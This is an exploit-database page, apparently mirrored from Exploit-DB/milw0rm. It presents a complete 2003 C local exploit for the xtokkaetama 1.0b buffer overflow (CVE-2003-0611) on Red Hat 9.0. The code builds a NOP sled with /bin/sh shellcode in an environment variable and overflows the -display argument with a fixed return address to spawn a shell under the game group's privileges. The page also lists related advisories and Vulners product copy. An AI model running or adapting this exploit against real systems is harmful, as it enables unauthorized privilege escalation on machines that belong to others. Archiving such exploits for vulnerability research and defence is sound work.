Lucene search
+L

xtokkaetama 1.0b (RedHat 9.0) - Local Game

🗓️ 01 Aug 2003 00:00:00Reported by brahmaType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 38 Views

Local game exploit for xtokkaetama 1.0b on Red Hat 9.0 created by brahma in 2003.

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CAN-2003-0611
6 Aug 202410:30
cve
cve
CVE
CVE-2003-0611
1 Aug 200304:00
cve
cvelist
Cvelist
CVE-2003-0611
1 Aug 200304:00
cvelist
debian
Debian
[SECURITY] [DSA-356-1] New xtokkaetama packages fix buffer overflows
31 Jul 200303:04
debian
nessus
Tenable Nessus
Debian DSA-356-1 : xtokkaetama - buffer overflows
29 Sep 200400:00
nessus
euvd
EUVD
EUVD-2003-0605
7 Oct 202500:30
euvd
nvd
NVD
CVE-2003-0611
27 Aug 200304:00
nvd
openvas
OpenVAS
Debian Security Advisory DSA 356-1 (xtokkaetama)
17 Jan 200800:00
openvas
openvas
OpenVAS
Debian Security Advisory DSA 356-1 (xtokkaetama)
17 Jan 200800:00
openvas
osv
OSV
DSA-356 xtokkaetama - buffer overflows
30 Jul 200300:00
osv
/*
*  xtokkaetama 1.0b local game exploit on Red Hat 9.0
*               Coded by brahma (31/07/2003)
*
*       http://www.debian.org/security/2003/dsa-356
*/


#include <stdlib.h>
#define RETADDR 0xbfffff11
#define DEFAULT_BUFFER_SIZE 29
#define DEFAULT_EGG_SIZE 512
#define NOP 0x90
#define BIN "/usr/X11R6/bin/xtokkaetama"
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;

if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) eggsize = atoi(argv[2]);


if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}

addr = RETADDR;
printf("Using address: 0x%x\n", addr);

ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;

ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;

for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];

buff[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';

memcpy(egg,"EGG=",4);
putenv(egg);
execl(BIN,BIN,"-display",buff,NULL);
}



// milw0rm.com [2003-08-01]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

25 Feb 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 24.6
EPSS0.00758
38